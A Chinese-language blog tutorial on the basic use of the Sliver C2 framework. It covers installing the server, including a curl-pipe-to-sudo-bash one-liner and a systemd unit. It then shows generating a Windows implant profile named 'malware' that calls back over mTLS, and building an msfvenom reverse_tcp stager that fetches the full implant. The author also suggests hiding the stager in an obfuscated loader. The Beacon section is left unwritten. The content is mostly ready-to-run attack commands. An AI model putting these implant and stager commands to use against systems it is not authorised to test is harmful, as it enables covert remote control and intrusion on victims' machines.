Sliver的基本操作
2024-10-15, 杭州
Sliver是近年来很火的一个C2框架,我使用的体感是,他的Reverse Shell和Forwarding功能比Cobalt Strike和MSF还要更稳定。Meterpreter已经做得很canonical了,而它做得更canonical。
但Sliver中文文档不甚完善,国内用的人也不多,所以我写一篇文章来记录一下Sliver的基本操作。
安装
安装Sliver。如果你到外网的连接稳定,可以直接执行curl https://sliver.sh/install|sudo bash
。
如果不稳定,可以参考我的步骤手动安装。
在Linux上手动安装
首先安装依赖
# APT (Ubuntu, Debian, Kali)
sudo apt install mingw-w64
# YUM (Fedora, CentOS, RHEL)
sudo yum install mingw64-gcc
# Arch Linux
sudo pacman -S mingw-w64-toolchain
然后从GitHub上下载最新发行的二进制文件,client和server都要下载。
以下脚本魔改自官方一键脚本,用于本地挪去/opt/sliver目录。
mkdir -p /opt/sliver
mv sliver-client_linux /opt/sliver/sliver
chmod +x /opt/sliver/sliver
mv sliver-server_linux /opt/sliver/sliver-server
chmod +x /opt/sliver/sliver-server
/opt/sliver/sliver-server unpack --force
ln -s /opt/sliver/sliver /usr/local/bin/sliver
cat > /etc/systemd/system/sliver.service <<-EOF
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/opt/sliver/sliver-server daemon
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable sliver --now
/opt/sliver/sliver-server
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/
# Optional
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename "$USER_DIR")
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/opt/sliver/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
fi
done
之后执行sliver
就可以启动了。
大马生成
首先新建Profile,根据这个Profile生成大马。
profiles new --mtls 192.168.0.1:4445 --format exe --os win malware
profiles generate malware --save malware.exe
然后本地启动sliver监听MTLS:
mtls -l 4445
远端执行大马即会回连。
小马(Stager)生成
Sliver普通的Payload由于自带混淆等各种策略,往往体积能达到数MB甚至十数MB,这对极端缓慢的网络环境很不友好。此时就需要小步缓慢的Stager了。既然CS和MSF都有Stager,我们也可以有。
profiles new --mtls 192.168.0.1:4445 --format shellcode --os win malware
stage-listener --profile malware -u tcp://192.168.0.1:4446
msfvenom -p windows/x64/custom/reverse_tcp LHOST=192.168.0.1 LPORT=4446 -f raw -o stager.bin
然后把你的stager.bin混淆装载在你喜欢的loader,他就会去4446拉大马,大马反连你的4445,事儿就成了。
Beacon生成
Beacon就是主动异步回连避免闹出太大b动静的马。
(后面等有空写)